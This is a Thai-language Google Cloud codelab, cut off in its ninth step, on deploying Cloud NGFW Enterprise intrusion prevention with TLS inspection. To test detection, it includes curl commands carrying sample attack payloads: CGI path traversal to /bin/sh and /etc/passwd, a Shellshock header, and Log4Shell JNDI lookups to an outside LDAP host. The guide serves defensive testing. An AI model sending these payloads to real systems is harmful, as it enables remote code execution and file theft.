1. บทนำ
ไฟร์วอลล์รุ่นใหม่บนระบบคลาวด์ (NGFW)
Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายอย่างเต็มรูปแบบที่มีความสามารถในการป้องกันขั้นสูง การแบ่งกลุ่มย่อย และความครอบคลุมที่กว้างขวางเพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก
Cloud NGFW มีประโยชน์ดังนี้
- บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้แบบมีสถานะที่อิงตามโฮสต์แบบกระจายอย่างเต็มรูปแบบในแต่ละภาระงานเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
- การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW จะใช้นโยบายเครือข่ายและนโยบายไฟร์วอลล์แบบลำดับชั้นที่แนบกับโหนดลำดับชั้นทรัพยากรได้ นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นทรัพยากรของ Google Cloud
- การควบคุมแบบละเอียดและการแบ่งส่วนย่อย: การผสมผสานระหว่างนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดยการจัดการข้อมูลประจำตัวและการเข้าถึง (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และแบบตะวันออก-ตะวันตกได้อย่างละเอียดจนถึงระดับ VM เดียวในเครือข่าย Virtual Private Cloud (VPC) และองค์กร
Cloud NGFW พร้อมให้บริการในระดับต่อไปนี้
- ข้อควรทราบเกี่ยวกับ Cloud Next Generation Firewall
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise เพิ่มบริการป้องกันการบุกรุก (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 ลงในโครงสร้างไฟร์วอลล์ Google Cloud แบบกระจาย ระบบรองรับการตรวจสอบ TLS เพื่ออนุญาตการตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS
ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบไฟร์วอลล์รุ่นใหม่ (NGFW) เลเยอร์ 7 ที่เชื่อถือได้พร้อมการควบคุมแบบละเอียดโดยไม่ต้องทำการเปลี่ยนแปลงสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง
หากต้องการเปิดใช้งานและติดตั้งใช้งานการควบคุมไฟร์วอลล์เลเยอร์ 7 ด้วย IPS คุณต้องทําสิ่งต่อไปนี้
- สร้างชุดของปลายทางไฟร์วอลล์ระดับโซนที่จัดการโดย Google Cloud
- สร้างนโยบายการตรวจสอบ TLS (ไม่บังคับ)
- สร้างการกำหนดค่าความน่าเชื่อถือ (ไม่บังคับ)
- เชื่อมโยงปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่คุณต้องการใช้บริการ Cloud NGFW Enterprise
- ทำการเปลี่ยนแปลงนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่เล็กน้อยเพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ
นโยบายไฟร์วอลล์เครือข่าย
นโยบายไฟร์วอลล์เครือข่ายทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ กฎที่กำหนดไว้ในนโยบายไฟร์วอลล์เครือข่ายจะไม่มีผลที่ใดจนกว่าจะมีการเชื่อมโยงนโยบายกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายสามารถมีนโยบายไฟร์วอลล์เครือข่ายที่เชื่อมโยงได้ 1 รายการ นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเพียงแค่แท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและใช้เพื่อระบุตัวตนให้กับภาระงานได้
การแชร์นโยบายไฟร์วอลล์เครือข่ายในเครือข่ายต่างๆ และการผสานรวมกับแท็กที่ควบคุมโดย IAM จะช่วยลดความซับซ้อนในการกำหนดค่าและการจัดการไฟร์วอลล์ได้อย่างมาก
เมื่อเปิดตัวนโยบายไฟร์วอลล์เครือข่าย นโยบายไฟร์วอลล์ของ Google Cloud จึงประกอบด้วยคอมโพเนนต์ต่อไปนี้
- นโยบายไฟร์วอลล์แบบลำดับชั้น
- กฎไฟร์วอลล์ VPC
- นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและระดับภูมิภาค)
ระบบรองรับนโยบายไฟร์วอลล์แบบลำดับชั้นที่โหนดองค์กรและโฟลเดอร์ภายในลำดับชั้นทรัพยากร ในขณะที่กฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์เครือข่ายจะใช้ในระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายคือ กฎไฟร์วอลล์ VPC ใช้ได้กับเครือข่าย VPC เดียวเท่านั้น ในขณะที่นโยบายไฟร์วอลล์เครือข่ายสามารถแนบกับ VPC เดียวหรือกลุ่ม VPC ได้ นอกเหนือจากประโยชน์อื่นๆ เช่น การอัปเดตแบบเป็นชุด
สุดท้ายนี้ เรายังมีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทุกเครือข่ายด้วย
- กฎขาออกที่มีการดำเนินการเป็นอนุญาต ปลายทางเป็น 0.0.0.0/0
- กฎขาเข้าที่มีการดำเนินการเป็นปฏิเสธและแหล่งที่มาเป็น 0.0.0.0/0
โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้

โปรดทราบว่าสามารถสลับลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายส่วนกลางได้ ลูกค้าสามารถระบุลำดับการบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud
แท็ก
แท็กใหม่ที่ผสานรวมในกฎนโยบายไฟร์วอลล์ของเครือข่ายคือทรัพยากรคู่คีย์-ค่าที่กำหนดไว้ที่ระดับองค์กรหรือระดับโปรเจ็กต์ของลำดับชั้นทรัพยากรของ Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ที่ระบุว่าใครทำอะไรในแท็กได้บ้าง สิทธิ์ Identity and Access Management (IAM) เช่น ช่วยให้ระบุได้ว่าผู้ใช้รายใดกำหนดค่าให้กับแท็กได้ และผู้ใช้รายใดแนบแท็กกับทรัพยากรได้ หากกฎไฟร์วอลล์เครือข่ายอ้างอิงแท็ก จะต้องใช้กับทรัพยากรเพื่อบังคับใช้
แท็กเป็นไปตามโมเดลทรัพยากรการรับช่วงของ Google Cloud ซึ่งหมายความว่าระบบจะส่งแท็กและค่าของแท็กผ่านลำดับชั้นจากระดับบนสุด ด้วยเหตุนี้ ระบบจึงอาจสร้างแท็กในที่เดียว แล้วโฟลเดอร์และโปรเจ็กต์อื่นๆ จะใช้แท็กนั้นได้ทั่วทั้งลำดับชั้นของทรัพยากร ดูรายละเอียดเกี่ยวกับแท็กและการจำกัดการเข้าถึงได้ที่หน้านี้
อย่าสับสนระหว่างแท็กกับแท็กเครือข่าย ส่วนหลังคือสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ โดยจะเชื่อมโยงกับอินสแตนซ์และหายไปเมื่อเลิกใช้งานอินสแตนซ์ กฎไฟร์วอลล์ VPC อาจมีแท็กเครือข่าย แต่เนื่องจากไม่ได้ถือว่าเป็นทรัพยากรระบบคลาวด์ จึงไม่อยู่ภายใต้การควบคุมการเข้าถึง IAM
โปรดทราบว่าเอกสารนี้ใช้แท็กและแท็กที่ควบคุมโดย IAM สลับกัน
สิ่งที่คุณจะสร้าง
โค้ดแล็บนี้ต้องใช้โปรเจ็กต์เดียวและมีความสามารถในการสร้างเครือข่าย VPC รวมถึงจัดการทรัพยากรเครือข่ายและความปลอดภัยจำนวนหนึ่ง ซึ่งจะแสดงให้เห็นว่า Cloud NGFW Enterprise สามารถมอบฟังก์ชัน IPS ได้อย่างไรโดย
- การตรวจสอบการรับส่งข้อมูลทางอินเทอร์เน็ตขาออกด้วยการตรวจสอบ TLS
- การตรวจสอบโฟลว์ภายใน VPC [ตะวันออก-ตะวันตก] ด้วยการตรวจสอบ TLS
ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์ที่ตรงกันของไฟร์วอลล์ Cloud ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก

สถานะสุดท้ายของฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง
ลำดับความสำคัญ | ทิศทาง | Target | แหล่งที่มา | ปลายทาง | การดำเนินการ | ประเภท |
100 | ขาเข้า | Server_Tag | การตรวจสอบประสิทธิภาพการทำงาน | ตามแต่ละประเทศ | อนุญาต | Essentials |
200 | ขาเข้า | Client_Tag, Server_Tag | IAP | ตามแต่ละประเทศ | อนุญาต | Essentials |
800 | ขาเข้า | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | การตรวจสอบ L7 | Enterprise |
850 | ขาออก | Client_Tag | ตามแต่ละประเทศ | 10.0.0.0/24 | อนุญาต | Essentials |
900 | ขาออก | Client_Tag | ตามแต่ละประเทศ | ตามแต่ละประเทศ | การตรวจสอบ L7 | Enterprise |
สิ่งที่คุณจะได้เรียนรู้
- วิธีสร้างนโยบายไฟร์วอลล์เครือข่าย
- วิธีสร้างและใช้แท็กกับนโยบายไฟร์วอลล์เครือข่าย
- วิธีกำหนดค่าและใช้ Cloud NGFW Enterprise ที่มีการตรวจสอบ TLS
สิ่งที่คุณต้องมี
- โปรเจ็กต์ Google Cloud
- ความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
- ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC
2. ก่อนเริ่มต้น
สร้าง/อัปเดตตัวแปร
Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell
ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. เปิดใช้ API
เปิดใช้ API หากยังไม่ได้ทำ โดยทำดังนี้
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. การสร้างอุปกรณ์ปลายทางของ Cloud NGFW Enterprise
เนื่องจากการสร้างปลายทางของ Cloud NGFW Enterprise ใช้เวลาประมาณ 20 นาที ระบบจึงจะสร้างปลายทางก่อน และคุณสามารถทำการตั้งค่าพื้นฐานไปพร้อมๆ กันในขณะที่ระบบสร้างปลายทาง
สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
ผลลัพธ์ที่คาดไว้
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
ยืนยันว่าสร้างทรัพยากรสำเร็จแล้วโดยทำดังนี้
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
สร้างปลายทาง Cloud NGFW Enterprise โดยทำดังนี้
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่าระบบกำลังสร้างปลายทาง (CREATING)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดไว้
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
กระบวนการสร้างจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จำเป็นควบคู่กันไป
5. การตั้งค่าพื้นฐาน
เครือข่ายและซับเน็ต VPC
เครือข่ายและซับเน็ต VPC
สร้างเครือข่าย VPC และซับเน็ต
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
สร้าง Cloud Router และเกตเวย์ Cloud NAT
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
อินสแตนซ์
สร้างอินสแตนซ์ไคลเอ็นต์และเว็บเซิร์ฟเวอร์
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
แท็กระดับโปรเจ็กต์
มอบหมายสิทธิ์ tagAdmin ให้กับผู้ใช้หากจำเป็น
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
สร้างคีย์และค่าแท็กระดับโปรเจ็กต์
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
เชื่อมโยงแท็กกับอินสแตนซ์
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
นโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
สร้างกฎ Cloud Firewall Essentials ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลจากช่วง health-check และ identity-aware proxy โดยทำดังนี้
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
สร้างกฎไฟร์วอลล์ของ Cloud ที่จำเป็นเพื่ออนุญาตการรับส่งข้อมูลขาเข้าแบบ East-West/ภายในซับเน็ตจากช่วงที่เฉพาะเจาะจง (ระบบจะอัปเดตกฎเหล่านี้เพื่อเปิดใช้ Cloud NGFW Enterprise ที่มีการตรวจสอบ TLS)
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. การเชื่อมโยงปลายทางของ Cloud Firewall
กำหนดตัวแปรสภาพแวดล้อมในกรณีที่ยังไม่ได้ดำเนินการและ/หรือต้องการใช้วิธีการสคริปต์
ยืนยันว่าการสร้างปลายทางไฟร์วอลล์ระบบคลาวด์เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ในระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดไว้
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
เชื่อมโยงปลายทางไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ไปยังส่วน TLS ก็ต่อเมื่อสถานะแสดงเป็นใช้งานอยู่ (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoint-associations list
ผลลัพธ์ที่คาดหวังเมื่อเสร็จสมบูรณ์
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
ผลลัพธ์ที่คาดไว้
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. กำหนดค่าทรัพยากร TLS
สร้างพูล CA ระบบจะใช้ทรัพยากรนี้เพื่อจัดเก็บใบรับรอง CA ระดับรูทที่เราสร้างขึ้นสำหรับ NGFW Enterprise
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
สร้าง CA หลัก นี่คือใบรับรอง CA ที่จะใช้ในการลงนามใบรับรองเพิ่มเติมสำหรับคำขอผ่าน NGFW Enterprise
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
หากได้รับข้อความด้านล่างนี้ ให้ตอบว่า y
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
สร้างบัญชีบริการ ระบบจะใช้บัญชีบริการนี้เพื่อขอใบรับรองสำหรับ NGFW Enterprise
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
ตั้งค่าสิทธิ์ IAM สำหรับบัญชีบริการ
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
สร้างไฟล์ YAML ของนโยบาย TLS ไฟล์นี้จะมีข้อมูลเกี่ยวกับทรัพยากรที่เฉพาะเจาะจง
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
นำเข้านโยบายการตรวจสอบ TLS
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
อัปเดตการเชื่อมโยงปลายทางเพื่อเปิดใช้ TLS โดยทำดังนี้
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
รับใบรับรอง CA แล้วเพิ่มลงในที่เก็บ CA ของไคลเอ็นต์โดยทำดังนี้
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
โอนใบรับรอง CA ไปยังไคลเอ็นต์
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH ไปยัง VM ย้ายใบรับรอง CA ไปยัง /usr/local/share/ca-certificates แล้วอัปเดตที่เก็บ CA โดยทำดังนี้
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
ออกจากระบบเพื่อกลับไปที่ Cloud Shell
กระบวนการลงนามในใบรับรองของเซิร์ฟเวอร์
ใน Cloud Shell ให้ติดตั้งไลบรารีการเข้ารหัส Pyca โดยใช้คำสั่ง pip ดังนี้
pip install --user "cryptography>=2.2.0"
หากต้องการอนุญาตให้ Google Cloud SDK ใช้ไลบรารี Pyca cryptography คุณต้องเปิดใช้แพ็กเกจเว็บไซต์
export CLOUDSDK_PYTHON_SITEPACKAGES=1
สร้างใบรับรองเซิร์ฟเวอร์
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
ซึ่งจะสร้างไฟล์ cert.pem และ key.pem ใน Cloud Shell จากนั้นโอนใบรับรองและคีย์ไปยังเซิร์ฟเวอร์
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
SSH ไปยังเซิร์ฟเวอร์เพื่ออัปเดตรายละเอียดใบรับรองสำหรับ Apache โดยทำดังนี้
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
ย้ายใบรับรองและคีย์ไปยังโฟลเดอร์ที่ต้องการ
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
อัปเดตการกำหนดค่า SSL เพื่อใช้ใบรับรองที่ลงนามแล้ว
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
รีสตาร์ท Apache
sudo systemctl restart apache2
ตรวจสอบสถานะ Apache
sudo systemctl status apache2
โดยควรใช้งานอยู่ (ทำงาน)
ออกจาก VM แล้วดำเนินการต่อใน Cloud Shell
8. ตรวจสอบการเชื่อมต่อ Northbound และ E/W
เรียกใช้คำสั่งด้านล่างใน Cloud Shell และจดบันทึก IP เป้าหมายที่จะใช้
gcloud compute instances list --filter="name=($prefix-$zone-www)"
เปิดแท็บใหม่และเริ่มการเชื่อมต่อ SSH กับ VM ไคลเอ็นต์ผ่าน IAP (คุณจะต้องกำหนดตัวแปรในแท็บใหม่)
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
เรียกใช้คำสั่งด้านล่างและจดบันทึก IP เป้าหมายที่จะใช้ สร้างตัวแปรโดยแทนที่ค่าภายในวงเล็บด้วย IP ที่จดไว้จากขั้นตอนก่อนหน้า และตรวจสอบว่าเข้าถึงได้
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
ใช้ Curl IP ส่วนตัวและตรวจสอบว่าเข้าถึงได้
curl https://$target_privateip --max-time 2
ผลลัพธ์ที่คาดไว้สำหรับคำขอ curl
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
ส่งการโจมตีตัวอย่างไปยัง IP เว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมดเพื่อยืนยันว่าไม่มีการตรวจสอบ/ป้องกันที่เลเยอร์ 7
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
ตัวอย่างผลลัพธ์ที่คาดหวัง (IP ส่วนตัว)
400 404 400 200 200
ในทำนองเดียวกัน ให้ส่งคำขอไปยังปลายทางอินเทอร์เน็ตดังนี้
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
ตัวอย่างผลลัพธ์ที่คาดหวัง (ปลายทางอินเทอร์เน็ต)
400 404 400 403 403
ออกจากเทอร์มินัล VM แล้วกลับไปที่ Cloud Shell
9. สร้างและอัปเดตกฎไฟร์วอลล์สำหรับการตรวจสอบ TLS
ก่อนหน้านี้ เราได้กำหนดค่ากฎไฟร์วอลล์เพื่ออนุญาตการรับส่งข้อมูลขาเข้าไปยังเซิร์ฟเวอร์จากซับเน็ตภายใน ตอนนี้เราจะอัปเดตกฎขาเข้าที่มีอยู่และตั้งค่าการดำเนินการเป็น apply_security_profile_group ซึ่งจะเปิดใช้การตรวจสอบ E/W L7 ด้วย TLS ดังนี้
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
